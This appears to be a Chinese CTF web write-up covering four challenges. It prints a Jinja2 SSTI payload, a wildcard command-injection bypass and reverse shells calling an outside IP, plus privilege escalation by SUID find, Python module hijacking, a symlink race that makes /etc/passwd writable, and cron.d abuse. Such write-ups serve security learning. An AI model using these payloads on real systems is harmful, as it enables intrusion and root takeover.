当前位置: 首页 > news >正文

2024 第七届“巅峰极客”网络安全技能挑战赛初赛 Web方向 题解WirteUp

EncirclingGame

题目描述:A simple game, enjoy it and get the flag when you complete it.

开题,前端小游戏,红点出不去就行

image-20240817132551392

直接玩通关了

image-20240817133147345

看看如何不玩也能拿到flag,flag存储在后端php文件内,前端找不到。

看一下游戏的请求包,里面记录了红点的最后位置和防火墙(黑点)的位置。

image-20240817134012060

那么我们伪造下,防火墙绕满周围一圈,但是红点在最中间。

路由:/verifyVictory.php方法:POST
{"gameState":{"virusPosition":{"x":5,"y":5},"firewalls":[{"x": 0, "y": 0}, {"x": 1, "y": 0}, {"x": 2, "y": 0}, {"x": 3, "y": 0}, {"x": 4, "y": 0},{"x": 5, "y": 0}, {"x": 6, "y": 0}, {"x": 7, "y": 0}, {"x": 8, "y": 0}, {"x": 9, "y": 0}, {"x": 10, "y": 0}, {"x": 0, "y": 10}, {"x": 1, "y": 10}, {"x": 2, "y": 10}, {"x": 3, "y": 10}, {"x": 4, "y": 10}, {"x": 5, "y": 10}, {"x": 6, "y": 10}, {"x": 7, "y": 10}, {"x": 8, "y": 10}, {"x": 9, "y": 10}, {"x": 10, "y": 10}, {"x": 0, "y": 1}, {"x": 0, "y": 2}, {"x": 0, "y": 3}, {"x": 0, "y": 4}, {"x": 0, "y": 5}, {"x": 0, "y": 6}, {"x": 0, "y": 7}, {"x": 0, "y": 8}, {"x": 0, "y": 9}, {"x": 10, "y": 1}, {"x": 10, "y": 2}, {"x": 10, "y": 3}, {"x": 10, "y": 4}, {"x": 10, "y": 5}, {"x": 10, "y": 6}, {"x": 10, "y": 7}, {"x": 10, "y": 8}, {"x": 10, "y": 9}]},"token":"game-lab-token"}

image-20240817134619754

GoldenHornKing

题目描述:举一反三。

开题,直接给了源码

image-20240817122126538

import os  # 导入操作系统相关的模块
import jinja2  # 导入 Jinja2 模板引擎模块
import functools  # 导入工具函数模块,提供高阶函数
import uvicorn  # 导入 Uvicorn,用于运行 ASGI 应用
from fastapi import FastAPI  # 从 FastAPI 库中导入 FastAPI 类,用于创建应用
from fastapi.templating import Jinja2Templates  # 从 FastAPI 导入 Jinja2Templates,用于模板渲染
from anyio import fail_after, sleep  # 从 anyio 库中导入 fail_after 用于设置超时,以及 sleep 用于异步睡眠# 指定所使用的库的版本:
# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0def timeout_after(timeout: int = 1):  # 定义一个超时装饰器,默认超时时间为1秒def decorator(func):  # 接收一个函数作为参数@functools.wraps(func)  # 保留被装饰函数的元信息async def wrapper(*args, **kwargs):  # 定义一个异步包装函数with fail_after(timeout):  # 在指定的超时时间内执行被装饰的函数return await func(*args, **kwargs)  # 等待并返回被装饰函数的执行结果return wrapper  # 返回包装函数return decorator  # 返回装饰器函数app = FastAPI()  # 创建一个 FastAPI 应用实例
access = False  # 定义一个全局变量,用于控制访问权限_base_path = os.path.dirname(os.path.abspath(__file__))  # 获取当前文件的绝对路径,并提取其目录路径
t = Jinja2Templates(directory=_base_path)  # 创建一个 Jinja2Templates 实例,指定模板文件的目录@app.get("/")  # 定义一个处理根路径的 GET 请求的路由
@timeout_after(1)  # 使用超时装饰器,设置超时时间为1秒
async def index():  # 定义异步处理函数return open(__file__, 'r').read()  # 打开当前文件并读取其内容,作为响应返回@app.get("/calc")  # 定义一个处理 /calc 路径的 GET 请求的路由
@timeout_after(1)  # 使用超时装饰器,设置超时时间为1秒
async def ssti(calc_req: str):  # 定义异步处理函数,接收一个字符串参数 calc_reqglobal access  # 声明使用全局变量 accessif (any(char.isdigit() for char in calc_req)) or ("%\" in calc_req) or not calc_req.isascii() or access:# 检查 calc_req 中是否包含数字字符,或者包含字符 '%',或者是否全为 ASCII 字符,或者 access 为 Truereturn "bad char"  # 如果满足上述任意条件,返回 "bad char"else:jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})# 使用 Jinja2 模板引擎渲染 calc_req 表达式,传递 app 对象作为上下文access = True  # 设置 access 为 True,限制进一步访问return "fight"  # 返回 "fight"if __name__ == "__main__":  # 判断是否为主程序入口uvicorn.run(app, host="0.0.0.0", port=8000)  # 使用 Uvicorn 运行应用,监听所有网络接口的8000端口

是一个jinja2的SSTI,限制是不能包含数字字符,或者包含字符 '%',或者是全为 ASCII 字符,或者 access 为 True

同时,只要一次access 为 True后便无法再次输入,得重启环境(好像有点似曾相识,NSS round20我也这样子出题的

仓库里翻一个内存马出来

#直接访问/shell路由
app.add_url_rule('/flag',lambda:__import__('os').popen('cat /flag').read())

转为SSTIpayload应该如下,由于是FastAPI,add_url_rule换成add_api_route。同时绕过了题目限制

{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag', lambda:__import__('os').popen('cat /flag').read())")}}

payload:

/calc?calc_req=config.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag',lambda:__import__('os').popen('cat /flag').read())")

image-20240817200659420

访问flag路由读取flag

image-20240817200716896

admin_Test

题目描述:某系统有一个后台管理系统,里面的系统可以帮助管理员更好的管理系统并且防护来自于黑客的攻击,但仍存在漏洞,请尝试读取到系统当中的flag文件。

开题,是一个登录框,没有注册选项

image-20240817120527144

扫一下敏感目录:

/admin.html
/upload.php

/admin.html路由具备一个文件上传功能和一个命令输入框

image-20240817214352183

上传时一直显示Invalid char,经过几次发包尝试,应该是对上传的命令字符串做了限制,大概率是单个字母的过滤。

单个字母跑一下题目waf

只允许t/.

image-20240817214855339

同时文件部分一律无法上传。

看到白名单字符大概有头绪了,CTFSHOW永远的神!

在PHP中,强制上传文件时,文件会被存在临时文件/tmp/phpxxxxxx中

这个文件最后六位xxxxxx有大小写字母、数字组成,是生命周期只在PHP代码运行时。

故我们要匹配/tmp/phpxxxxxx的话可以用通配符/???/?????????,也可以使用/t*/*

文件上传时输入的命令会被执行,能调用到上传的文件(内容是命令)就行

payload:

------WebKitFormBoundarynjB2WAcSH6J6Hmiq
Content-Disposition: form-data; name="file"; filename="myshell.php"
Content-Type: application/octet-stream【要执行的命令】
------WebKitFormBoundarynjB2WAcSH6J6Hmiq
Content-Disposition: form-data; name="cmd". /t*/*
------WebKitFormBoundarynjB2WAcSH6J6Hmiq--

flag没权限读,需要提权

image-20240817220808173

find提权即可

find / -user root -perm -4000 -print 2>/dev/null
find /tmp -exec cat /flag \;

image-20240817220954102

php_online

题目描述:can you break this sandbox?

附件给了源码:

from flask import Flask, request, session, redirect, url_for, render_template
import os
import secretsapp = Flask(__name__)  # 创建一个 Flask 应用实例
app.secret_key = secrets.token_hex(16)  # 为 Flask 应用设置一个随机生成的秘密密钥,用于会话管理
working_id = []  # 定义一个空列表,用于跟踪当前正在处理的用户ID@app.route('/', methods=['GET', 'POST'])  # 定义根路由,支持 GET 和 POST 请求
def index():  # 定义处理该路由的函数if request.method == 'POST':  # 如果请求方法是 POSTid = request.form['id']  # 获取表单中提交的 idif not id.isalnum() or len(id) != 8:  # 检查 id 是否为字母数字组合且长度为8return '无效的ID'  # 如果 id 不符合条件,返回“无效的ID”消息session['id'] = id  # 将 id 存储在用户的会话中if not os.path.exists(f'/sandbox/{id}'):  # 如果沙箱目录中不存在该 id 的文件夹os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read()# 创建该文件夹,并设置权限为 www-data 用户所有,且所有用户都有写权限return redirect(url_for('sandbox'))  # 重定向到 /sandbox 路由return render_template('submit_id.html')  # 如果请求方法是 GET,渲染 submit_id.html 模板@app.route('/sandbox', methods=['GET', 'POST'])  # 定义 /sandbox 路由,支持 GET 和 POST 请求
def sandbox():  # 定义处理该路由的函数if request.method == 'GET':  # 如果请求方法是 GETif 'id' not in session:  # 如果会话中没有 idreturn redirect(url_for('index'))  # 重定向到根路由else:return render_template('submit_code.html')  # 渲染 submit_code.html 模板if request.method == 'POST':  # 如果请求方法是 POSTif 'id' not in session:  # 如果会话中没有 idreturn 'no id'  # 返回 “no id” 消息user_id = session['id']  # 从会话中获取用户的 idif user_id in working_id:  # 检查用户 id 是否已经在运行任务return 'task is still running'  # 返回“任务仍在运行”消息else:working_id.append(user_id)  # 将用户 id 添加到正在运行的任务列表中code = request.form.get('code')  # 获取提交的代码os.popen(f'cd /sandbox/{user_id} && rm *').read()  # 删除用户沙箱目录中的所有文件os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()# 将 init.py 文件复制到用户的沙箱目录中,并以 www-data 用户执行os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()  # 删除沙箱目录中的 phpcode 文件php_file = open(f'/sandbox/{user_id}/phpcode', 'w')  # 创建一个新的 phpcode 文件php_file.write(code)  # 将提交的代码写入该文件php_file.close()  # 关闭文件result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()  # 以 nobody 用户执行该 PHP 代码,并获取结果os.popen(f'cd /sandbox/{user_id} && rm *').read()  # 执行后删除所有文件working_id.remove(user_id)  # 从运行中的任务列表中移除该用户 idreturn result  # 返回执行结果if __name__ == '__main__':  # 如果当前模块是主程序app.run(debug=False, host='0.0.0.0', port=80)  # 启动 Flask 应用,关闭调试模式,在所有网络接口上监听,使用80端口

开题,需要先输入一个八位的有数字和字母组成的ID,这里采用Jay17aaa

image-20240817112919545

之后可以执行任意php代码,无法直接读取flag,无法出网

total 68
drwxr-xr-x  1 root      root    4096 Aug 17 03:22 .
drwxr-xr-x  1 root      root    4096 Aug 17 03:22 ..
drwxr-xr-x  1 root      root    4096 Aug 14 09:10 app
lrwxrwxrwx  1 root      root       7 Oct  6 2021 bin -> usr/bin
drwxr-xr-x  2 root      root    4096 Apr 15 2020 boot
drwxr-xr-x  5 root      root     380 Aug 17 03:22 dev
drwxr-xr-x  1 root      root    4096 Aug 14 09:09 etc
-rwx------  1 root      root      42 Aug 17 03:22 flag
drwxr-xr-x  2 root      root    4096 Apr 15 2020 home
lrwxrwxrwx  1 root      root       7 Oct  6 2021 lib -> usr/lib
lrwxrwxrwx  1 root      root       9 Oct  6 2021 lib32 -> usr/lib32
lrwxrwxrwx  1 root      root       9 Oct  6 2021 lib64 -> usr/lib64
lrwxrwxrwx  1 root      root      10 Oct  6 2021 libx32 -> usr/libx32
drwxr-xr-x  2 root      root    4096 Oct  6 2021 media
drwxr-xr-x  2 root      root    4096 Oct  6 2021 mnt
drwxr-xr-x  2 root      root    4096 Oct  6 2021 opt
dr-xr-xr-x 187 root      root       0 Aug 17 03:22 proc
drwx------  2 root      root    4096 Oct  6 2021 root
drwxr-xr-x  1 root      root    4096 Aug 17 03:22 run
drwxr-xr-x  1 www-data  root    4096 Aug 17 03:28 sandbox
lrwxrwxrwx  1 root      root       8 Oct  6 2021 sbin -> usr/sbin
drwxr-xr-x  2 root      root    4096 Oct  6 2021 srv
dr-xr-xr-x 13 root      root       0 Aug 17 03:22 sys
drwxrwxrwt  1 root      root    4096 Aug 17 03:39 tmp
drwxr-xr-x  1 root      root    4096 Oct  6 2021 usr
drwxr-xr-x  1 root      root    4096 Oct  6 2021 var

image-20240817222029549

import logging 
logger.info('Code execution start')

同时目前用户的权限极低

image-20240817114059773

信息搜集差不多这样子了,开始做题。我们三步走,每一步标题加粗高亮

第一步,反弹shell

起一个test1111用户

不能直接弹

<?php
system('bash -i >& /dev/tcp/124.71.147.99/1717 0>&1');

以下两种方式都可以

<?php
system('bash -c "bash -i >& /dev/tcp/124.71.147.99/1717 0>&1"');
<?php
system('php -r \'$sock=fsockopen("124.71.147.99",1717);exec("sh <&3 >&3 2>&3");\'');?>

image-20240817232037868

由于源码sudo -u nobody php phpcode来起php服务,用php反弹shell用户只能是nobody

第二步,通过python拿下www-data权限

方法一:

在反弹shell时候,由于/sandbox/{user_id}有权限,可以直接写python文件

<?php
system('rm init.py;mkdir init.py;chmod 777 init.py;ls init.py/');
file_put_contents("init.py/__main__.py","import os\nos.system('bash -c \"bash -i >& /dev/tcp/124.71.147.99/1717 0>&1\"')");

image-20240817232906798

方法二:

init.py(源码在上文) 开头import logging导入了logging库,但是同目录下具有logging.py的话,会优先应用目录下logging.py文件;如果同目录下具备logging文件夹的话,会优先应用logging文件夹下的__init__.py文件。

方法二-①:

条件竞争

在nobody的shell下执行命令

echo "__import__('os').popen('bash -c \"bash -i >& /dev/tcp/124.71.147.99/1717 0>&1\"')" > /tmp/logging.py
echo "while true; do" >> /tmp/exp.sh
echo "cp /tmp/logging.py /sandbox/test2222/logging.py" >> /tmp/exp.sh
echo "done" >> /tmp/exp.sh
chmod +x /tmp/exp.sh
sh /tmp/exp.sh

源码:sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py

创建一个test2222用户,随便执行一点代码,一直在运行的文件写入以便触发题目源码中的sudo -u www-data python3 init.py语句

运行恶意/sandbox/test2222/logging.py后反弹shell,发现成功变为www-data权限

image-20240818000323647

image-20240818000340769

方法二-②:

直接创建一个logging/__init__.py劫持

先创建一个test3333用户

在nobody的shell下执行命令(这个shell端口1717)

mkdir /sandbox/test3333/logging/
echo "import os" >> /sandbox/test3333/logging/__init__.py
echo "os.system('bash -c \"bash -i >& /dev/tcp/124.71.147.99/1718 0>&1\"')" >> /sandbox/test3333/logging/__init__.py

image-20240817235401516

test3333用户任意执行代码,同时开启监听(端口1718)

image-20240817235501710


第三步,提权root读flag

有了www用户权限后,我们可以通过两种方式提权读flag。

方法一:条件竞争修改文件权限,passwd提权读取flag

Linux sudo 提权之软链接攻击 - sparkchans - 博客园 (cnblogs.com)

注意源码有一句(注意python的权限是root)

mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}

本意是创建目录并且修改权限。同时mkdirchmod两个命令不是同时执行的

mkdirchmod两个命令之间如果执行了以下命令:

ln -s /etc/passwd /sandbox/test4444
rm -rf /sandbox/test4444

那么chmod a+w /sandbox/test4444这条命令修改的权限就不再是/sandbox/test4444而是/etc/passwd

由于mkdirchmod两个命令执行时间间隔太短,我们需要用条件竞争来达到上述的设想,操作如下:

www-data的shell执行命令(while true死循环一直执行)

while true; do ln -s /etc/passwd /sandbox/test4444; rm -rf /etc/passwd; done

yakit发包,无用参数爆破实现循环发包创建test4444用户

POST:
id=test4444&17={{payload(pass1,top1000,pass2)}}

image-20240818124758802

稍等一会,就能发现/etc/passwd的权限变为可以修改了。

那么接下来就是/etc/passwd提权(唯一条件是/etc/passwd文件可写)

image-20240818125500332

生成带有salt的密码advwtv/9yU5yQ

#利用openssl生成加密的密码, 语法:openssl passwd-1-salt[salt value]password
openssl passwd -1 -salt user3 pass123#mkpasswd类似于openssl passwd,它将生成指定密码字符串的哈希值。
mkpasswd -m SHA-512 pass#利用python中的crypt库生成
python -c 'import crypt; print crypt.crypt("pass", "$6$salt")'#利用Perl和crypt来使用salt值为我们的密码生成哈希值
perl -le 'print crypt("pass123", "abc")'#php语言
php -r "print(crypt('aarti','123') . " ");"
perl -le 'print crypt("password@123","addedsalt")'

image-20240818125036268

然后执行下面这条命令,成功将Jay17用户的信息加入 /etc/passwd 文件

echo "Jay17:advwtv/9yU5yQ:0:0:,,,:/root:/bin/bash" >>/etc/passwd

image-20240818130332588

image-20240818130533062

以用户名:Jay17 密码: password@123 登录主机,登录成功后,是 root 权限。

ssh Jay17@124.71.147.99

image-20240818130653697

image-20240818130704197

有了root权限后就可以读取flag了。

方法二:定时任务提权root读取flag

首先介绍下定时任务

可以使用 crontab -e 命令来编辑用户的定时任务列表。

crontab -e

这将打开用户的 crontab 文件,你可以在其中添加定时任务。定时任务的格式如下:

* * * * * 【command_to_execute】

每个字段的含义依次为:

分钟(0-59) 小时(0-23) 日(1-31) 月(1-12) 星期几(0-7, 0和7表示星期日)

例如,想每天凌晨 3:30 运行一个脚本 /path/to/script.sh,可以在 crontab 中添加以下行:

30 3 * * * /path/to/script.sh

也可以在 /etc/cron.d/ 目录下创建一个文件,并在其中定义定时任务。这种方式适用于系统级的定时任务,文件中的格式和 crontab 文件类似,但每行的格式为:

minute hour day month day_of_week user command

例如:

30 3 * * * root /path/to/script.sh

继续做题。可以通过命令crontab -l查看当前用户的定时任务。

但是题目shell是www-data,看不到root用户的定时任务(以下为VPS测试结果)

image-20240818134045642

执行命令ps -ef列出所有正在运行的进程,并以较为详细的格式显示这些进程的信息。大头哥通过CMD(系统启动命令行)来判断是否有定时任务(/usr/sbin/cron

image-20240818133631239

image-20240818133645719

常见定时任务存放目录:

/etc/cron.d
/etc/crontab
/var/spool/cron/crontabs
/etc/cron.hourly
/etc/cron.daily
/etc/cron.weekly
/etc/cron.monthly

本题是/etc/cron.d,创建用户test5555,创建软连接ln -s /etc/cron.d /sandbox/test5555

前端phpcode写入内容:

* * * * * root cat /flag > /tmp/flag
# <?php sleep(1000);?>
* * * * * root cat /flag>/tmp/111
#<?php while(1){echo 1;};?>

二选一都可以,两者的php代码都是避免rm *将/sandbox/test5555/phpcode文件删除太快而定时任务未正常运行。

前者是sleep,php执行就得花一秒,后者是死循环执行。

同时,两者由于软连接到定时任务,所以当作定时任务执行时#注释了php代码不影响定时任务;同时在作为php执行时,由于文件头<?php的作用,前面的定时任务不会被认为是php代码。

相关文章:

2024 第七届“巅峰极客”网络安全技能挑战赛初赛 Web方向 题解WirteUp

EncirclingGame 题目描述&#xff1a;A simple game, enjoy it and get the flag when you complete it. 开题&#xff0c;前端小游戏&#xff0c;红点出不去就行 直接玩通关了 看看如何不玩也能拿到flag&#xff0c;flag存储在后端php文件内&#xff0c;前端找不到。 看一下…...

论文阅读笔记《面向集群协同的两点相对定位技术》

邓廷祥,任鹏,程甲,等.面向集群协同的两点相对定位技术[J].兵工学报,2023,44(S2):22-34. 摘要 无人机精确定位的三个难题&#xff1a; GNSS难以提供稳定准确的位置信息、难以部署辅助锚点、传统的相对定位方法大多存在节点数量限制。 本文针对上述问题&#xff0c;提出了一种GN…...

RK3566/RK3568 Android 11 无操作自动隐藏导航栏、底部上拉显示导航栏

概述 总目录:RK3566/RK3568 Android 11 定制大全 在系统服务中增加无操作自动隐藏导航栏方法,在上层app动态调用无操作自动隐藏导航栏方法,系统会在5秒无操作后自动隐藏导航栏,隐藏导航栏后从底部上拉可显示导航栏,设备关机和重启后也能继续生效。 创建全局变量 1.定义…...

四、Django模型

Model Model (模型) 简而言之即数据模型&#xff0c;是一个Django应用的核心。模型不是数据本身&#xff08;比如数据表里的数据), 而是抽象的描述数据的构成和逻辑关系。 每个Django的模型(model)实际上是个类&#xff0c;继承了models.Model。每个Model应该包括属性(字段)&…...

Telephony SS

1、补充业务概述 SS是补充服务的缩写,它包含呼叫转移、呼叫限制、呼叫等待、线路识别(CLIR)等。在IMS(IP多媒体子系统)网络中,它使用XCAP(XML配置访问协议)协议通过UT接口操纵SS数据。该协议允许授权用户在连接到IMS或连接到非IMS网络(例如公共互联网)时操纵与服务相…...

【软考】希尔排序算法分析

目录 1. c代码2. 运行截图3. 运行解析 1. c代码 #include <stdio.h> #include <stdlib.h> void shellSort(int data[], int n){// 划分的数组&#xff0c;例如8个数则为[4, 2, 1]int *delta;int k;// i控制delta的轮次int i;// 临时变量&#xff0c;换值int temp;…...

C++(一)----C++基础

1.C的发展史 C语言诞生后&#xff0c;很快普及使用&#xff0c;但是随着编程规模增大且越来越复杂&#xff0c;并且需要高度的抽象和建模时&#xff0c;C语言的诸多短板便表现了出来&#xff0c;为了解决软件危机&#xff0c;上世纪八十年代&#xff0c;计算机界提出了oop&…...

C 语言面试题大汇总之华为面试题

文章目录 1. 局部变量能否和全局变量重名?2. 如何引用一个已经定义过的全局变量?3. 全局变量可不可以定义在可被多个.C 文件包含的头文件中?为什么?4. 请写出下列代码的输出内容5. static 全局变量与普通的全局变量有什么区别?static 局部变量和普通局部变量有什么区别?s…...

Java:面向对象

继承 继承是一种面向对象编程&#xff08;OOP&#xff09;特性&#xff0c;它允许一个类&#xff08;称为子类或派生类&#xff09;继承另一个类&#xff08;称为父类或基类&#xff09;的属性&#xff08;如方法和字段&#xff09;。通过继承&#xff0c;子类可以复用父类的代…...

【区块链 + 基层治理】腾讯未来社区:区块链业主决策系统 | FISCO BCOS应用案例

腾讯未来社区是腾讯推出的智慧社区综合解决方案&#xff0c;致力于形成“互联网 社区”一站式解决方案&#xff0c;打造智慧社 区健康生态。为了解决物业管理领域的痛点&#xff0c;构建围绕居民、物业、政府和商业四个角色为核心的良好生态&#xff0c;以 信息平台及工具为纽…...

【Rust练习】13.数组

练习题来自&#xff1a;https://practice-zh.course.rs/compound-types/array.html 1 fn main() {// 使用合适的类型填空let arr: __ [1, 2, 3, 4, 5];// 修改以下代码&#xff0c;让它顺利运行assert!(arr.len() 4); }显然这个数组的长度是5. fn main() {// 使用合适的类…...

直流负载技术介绍

直流负载技术是一种用于控制和调节电力系统运行状态的重要技术。它主要通过对电力系统中的直流负载进行有效的管理和控制&#xff0c;以保证电力系统的稳定运行&#xff0c;提高电力系统的运行效率&#xff0c;降低电力系统的运行成本。 直流负载技术主要包括直流负载的检测、…...

FPGA低功耗设计

FPGA低功耗设计 文章目录 FPGA低功耗设计前言一、功耗类型1.1 动态功耗1.2 静态功耗1.3 浪涌功耗 二、系统级低功耗设计2.1 **多电压技术&#xff1a;**即工作频率、电压和功耗的关系2.2 系统时钟分配&#xff1a;2.3 软硬件划分2.4 p 或单元库选择 三、RTL级别低功耗设计3.1 并…...

Python Opencv: 基于颜色提取的印章分割

利用Python实现了一个图像处理功能&#xff0c;即批量提取图像中的印章区域&#xff1b;使用了颜色聚类的方法来提取颜色。 本代码也发布到了github&#xff0c;欢迎大家试用&#xff08;如果帮助&#xff0c;请star一下&#xff09;&#xff1a; GitHub - AICVHub/seal_seg_o…...

Codeforces Round 970 (Div. 3)(ABCDEF)

Codeforces Round 970 (Div. 3) A:Sakurakos Exams 签到 题意:给定1,2的数量,判断是否能用加减符号使得这些1,2计算出0 void solve() {cin>>n>>m;if(n%2)cout<<"NO\n";else{if(m%20||n)cout<<"YES\n";else cout<<"…...

springboot基于ssm+Jsp的人才招聘网站系统的设计与实现 jw2cs

目录 前言详细视频演示后端技术栈具体实现截图开发核心技术&#xff1a;开发工具核心代码部分展示系统设计操作可行性可行性论证试验方案源码获取 前言 &#x1f447;&#x1f3fb; 博主介绍&#xff1a;&#x1f447;&#x1f3fb; 全网粉丝50W,博客专家、CSDN特邀作者、CSDN…...

高质量共建“一带一路”!苏州金龙助力非洲交通驶向共同繁荣之旅

9月6日&#xff0c;中非合作论坛在北京落下帷幕。此次论坛&#xff0c;“高质量共建‘一带一路’”成为重要议题。截止至目前&#xff0c;苏州金龙海格客车已向阿尔及利亚、埃塞俄比亚、南非等所有参与共建“一带一路”的非洲国家累计出口客车14000台。从产品销售&#xff0c;到…...

嵌入式初学-C语言-数据结构--四

栈 1. 基本概念 栈是一种逻辑结构&#xff0c;是特殊的线性表。特殊在&#xff1a; 只能在固定的一端操作 只要满足上述条件&#xff0c;那么这种特殊的线性表就会呈现一种“后进先出”的逻辑&#xff0c;这种逻辑就被称为栈。栈 在生活中到处可见&#xff0c;比如堆叠的盘子…...

【HarmonyOS 4】应用性能优化

1. ArkTs 高性能编程 1.1 ArkTs 高性能编程规则 1.1.1 限制一些 TypeScript 的特性&#xff0c;比如需要不支持属性的动态变更、变量或参数需要明确的类型声明和返回值声明等。1.1.2 禁用 ts-ignore、ts-expect-error 等屏蔽编译校验的命令。1.1.3 开启 TypeScript 的严格模式…...

MySQL——表操作

目录 一、创建表 二、查看表 2.1 查看表中某成员的数据 2.2 查看整个表中的表成员 2.3 查看创建表时的句柄 三、修改表 alter 3.1 重命名 rename 3.2 新增一列 add 3.3 更改列属性 modify 3.4 更改列名称 change 3.5 删除某列 上一篇博客介绍了库的操作&#xff0c;…...

阅读笔记--Guiding Attention in End-to-End Driving Models(二)

端到端驾驶的注意力学习&#xff08;Attention Learning for End-to-End Driving&#xff09;关键内容学习 3.1 问题设置&#xff08;Problem Setup&#xff09; 模仿学习&#xff08;Imitation Learning, IL&#xff09;&#xff1a;介绍了模仿学习的概念&#xff0c;即通过…...

Linux: network: TCP: errno: EWOULDBLOCK

https://mzhan017.blog.csdn.net/article/details/108010013 这个errno的意思: 如果是send接口函数返回的错误,代表tcp socket的sending buffer满了,让应用程序等上一段时间重试send。 所以,这个产生的原因就不固定了: 可能是当前系统太忙,导致系统发包慢,buffer累积; 可…...

闲话“设计模式”

Q1、请详细介绍 软件架构设计模式&#xff08;智能化&#xff09;&#xff0c;应用程序设计模式&#xff08;自动化&#xff09;&#xff0c;编程语言设计模式&#xff08;人性化&#xff09;&#xff08;后面括号中 是我 希望 其 具有的特点&#xff09; 的概念&#xff0c;有…...

Sentence-BERT实现文本匹配【CoSENT损失】

引言 还是基于Sentence-BERT架构&#xff0c;或者说Bi-Encoder架构&#xff0c;但是本文使用的是苏神提出的CoSENT损失函数1。 点击来都是缘分&#xff0c;之前过时的方法可以不细看&#xff0c;别的文章可以不收藏&#xff0c;现在是最流行的方法&#xff0c;这篇文章建议收藏…...

业余考什么证书比较实用?

在业余时间里&#xff0c;获得一些有用的证书不仅能提升你的专业素养&#xff0c;还能增强你在职场上的竞争力。 特别是职业技能证书和行业认证证书&#xff0c;这两者受到了广大职场人士的高度关注。 一、业余时间考取的实用证书 行业认证证书主要针对特定行业或职业&#…...

16款facebook辅助工具,总有一款适合你!

Hey小伙伴们~&#x1f44b; 是不是想利用FB大展拳脚&#xff0c;却苦于不知道如何开始&#xff1f;别急&#xff0c;今天就给你们安利16个超实用的FB营销工具&#xff0c;涵盖了内容创建和发布的应用程序&#xff0c;以及数据追踪分析、商品销售等多个方面让你轻松get海外获客新…...

给网站发外链的好处,你了解多少?

在当今这个信息爆炸的互联网时代&#xff0c;网站优化和推广成为了每一个网站主不可忽视的重要环节。其中&#xff0c;给网站发外链&#xff0c;即在其他网站上设置指向自己网站的链接&#xff0c;是一种高效且被广泛采用的策略。那么&#xff0c;给网站发外链究竟能带来哪些好…...

安卓链接正常显示,ios#符被转义%23导致链接访问404

原因分析&#xff1a; url中含有特殊字符 中文未编码 都有可能导致URL转换失败&#xff0c;所以需要对url编码处理 如下&#xff1a; guard let allowUrl webUrl.addingPercentEncoding(withAllowedCharacters: .urlQueryAllowed) else {return} 后面发现当url中有#号时&a…...

excel分列

Excel中有这么几列&#xff0c;希望将每一列内容再分出3列&#xff1a; 可以通过以下步骤在 Excel 表格中将 B 到 F 列的内容拆分为每列的 3 列&#xff0c;分别为 pred_label、pred_score 和 pred_class&#xff1a; 确定数据结构&#xff1a;假设 B 列到 F 列中的内容都是按类…...

STM32 HAL DMA 中断碰到的问题

流程 串口收数据—>dma搬运到变量—>空闲中断----->接收完成 配置 dma中断全部去掉 串口中断开启 freertos中断全部去掉 时钟配置 代码 开启中断 // DMA 空闲检查 void receives_uaru_7(void) {RXU7 0;//清除中断标志HAL_UARTEx_ReceiveToIdle_DMA(&hua…...